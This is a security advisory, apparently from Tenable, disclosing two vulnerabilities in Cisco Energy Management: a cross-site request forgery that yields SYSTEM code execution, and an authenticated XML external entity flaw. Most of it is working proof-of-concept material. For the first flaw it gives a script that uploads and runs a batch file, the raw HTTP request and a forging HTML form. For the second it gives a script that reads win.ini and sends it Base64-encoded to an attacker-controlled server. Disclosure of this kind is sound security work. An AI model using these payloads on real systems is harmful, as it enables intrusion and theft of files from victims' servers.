Tenable has discovered multiple vulnerabilities in Cisco Energy Management.
CVE-2018-15445: Cross-Site Request Forgery
Cisco Energy Management is largely susceptible to Cross-Site Request Forgery (CSRF) throughout the application and its underlying services. Anti-forgery tokens are not utilized to ensure that HTTP requests have originated from within the application or its connected components.
An attacker may abuse this vulnerability to gain remote code execution with SYSTEM privileges. In order to successfully exploit this weakness, the attacker must first craft a malicious page, then convince an authenticated application user to visit the URL (e.g. click a link).
Additionally, the victim user must have sufficient privileges. Scripting and API access are required.
Specifically, a working exploit can be crafted using the following methodology. Via the use of custom scripts, a script can be constructed like so. First, all Controller IDs can be retrieved by querying the object store. The controller ID is used to construct a subsequent API call. Next, a Windows batch file (.bat) is uploaded to the "commands" folder. This file can contain arbitrary system commands to be executed. In order to upload the file, the API is invoked from within the script using the "api_post" function. After the batch file uploads, the "runCommandEx" function can be used to execute the batch file.
Please note that this logic can be contained within just one HTTP POST request.
Proof of Concept
Below is a series of Proof of Concept (PoC) code.
Be sure to update any IP addresses and/or 'auth' tokens. When the exploit works, a file named 'runme.bat' will be created in 'C:\Program Files\Cisco Energy Management Controller\service\commands', and 'calc.exe' will be running with SYSTEM privileges.
Custom JavaScript:
// get controller id
var devices = queryObjects("objecttype=orgfolder");
var jemid = devices[0]["jemid"];
// note that the devices could be looped to execute on all controllers
if (jemid) {
var fname = "runme.bat";
var url = "controllers/"+jemid+"/uploadFile?overwrite=true&folder=commands&name="+fname;
var batchFile = base64Encode("systeminfo"); // batch file contents
var response = api_post(url, batchFile);
if (response.result) {
var cmdResult = runCommandEx(fname);
if (cmdResult) {
log(cmdResult["stdout"]);
}
}
}
The following HTTP request shows the above code being POST’ed to CEM.
POST /central/data/jemwscall/executeScriptAsync HTTP/1.1
Host: 192.168.1.194
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.194/
Content-Type: application/json
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 685
Cookie: user=name=; PLAY_LANG=en; auth=2c63d52039194dde8571c745c7431322
Connection: close
{"script":"// get controller id\nvar devices = queryObjects(\"objecttype=orgfolder\");\nvar jemid = devices[0][\"jemid\"];\n// note that the devices could be looped to execute on all controllers\nif (jemid) {\n var fname = \"runme.bat\";\n var url = \"controllers/\"+jemid+\"/uploadFile?overwrite=true&folder=commands&name=\"+fname;\n var batchFile = base64Encode(\"calc\"); // batch file contents\n var response = api_post(url, batchFile);\n if (response.result) {\n var cmdResult = runCommandEx(fname);\n if (cmdResult) {\n log(cmdResult[\"stdout\"]);\n }\n }\n}","scriptLabel":"Unnamed Script","async":true,"options":"-s1 -source=JEMScriptDialog"}
This is an HTML form that can be used to send the exploit.
<html>
<body>
<form method="POST" enctype="text/plain" action="https://192.168.1.194/central/data/jemwscall/executeScriptAsync">
<input name='{"script":"var devices=queryObjects(\"objecttype=orgfolder\");var jemid=devices[0][\"jemid\"];if(jemid){var fname=\"runme.bat\";var url=\"controllers/\"+jemid+\"/uploadFile?overwrite=true&folder=commands&name=\"+fname;var batchFile=base64Encode(\"calc\");var response=api_post(url,batchFile);if(response.result){var cmdResult=runCommandEx(fname);if(cmdResult){log(cmdResult[\"stdout\"]);}}}","scriptLabel":"Unnamed Script","async":true,"options":"-s1 -source=JEMScriptDialog", "trash":"' value='"}' />
<input type="submit" />
</form>
</body>
</html>
CVE-2018-15444: Authenticated XML External Entity Vulnerability (XXE)
An XML External Entity (XXE) vulnerability exists in Cisco Energy Management’s scripting feature. This vulnerability can be exploited by an authenticated attacker. The contents of any file may be read from the file system and subsequently exfiltrated. Please note that this vulnerability may be exploited via Cross-Site Request Forgery (CSRF) as well.
In order to successfully exploit this, a malicious user (attacker) must have sufficient privileges. Scripting access is required.
Specifically, the vulnerability exists within the way an 'XmlDoc' is processed during conversion to a JSON using the 'toJson' function. An attacker may abuse this by crafting an XML document containing external entities. These entities may reference files on the file system.
Furthermore, using built-in Networking Scripting functions, the contents of files can be read and sent to a remote, attacker-controlled system.
Proof of Concept
Below is a Proof of Concept (PoC) consisting of a custom script. The PoC will read C:\WINDOWS\win.ini and send the contents, Base64 encoded, to a remote HTTP server. Run the script in the 'Run Script' dialog for a given asset/device.
In order to receive the file contents, be sure to host your own HTTP server and update the IP address to match that of your server. The request path will have to be Base64 decoded once it is received.
include("xml.js");
var xml = '<?xml version="1.0" ?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>';
var doc = new XmlDoc(xml);
var json = doc.toJson("json");
var exfil = base64Encode(json["foo"]);
var config = {
url : "http://192.168.0.4:8080/"+exfil,
timeout : 4
};
httpGet(config);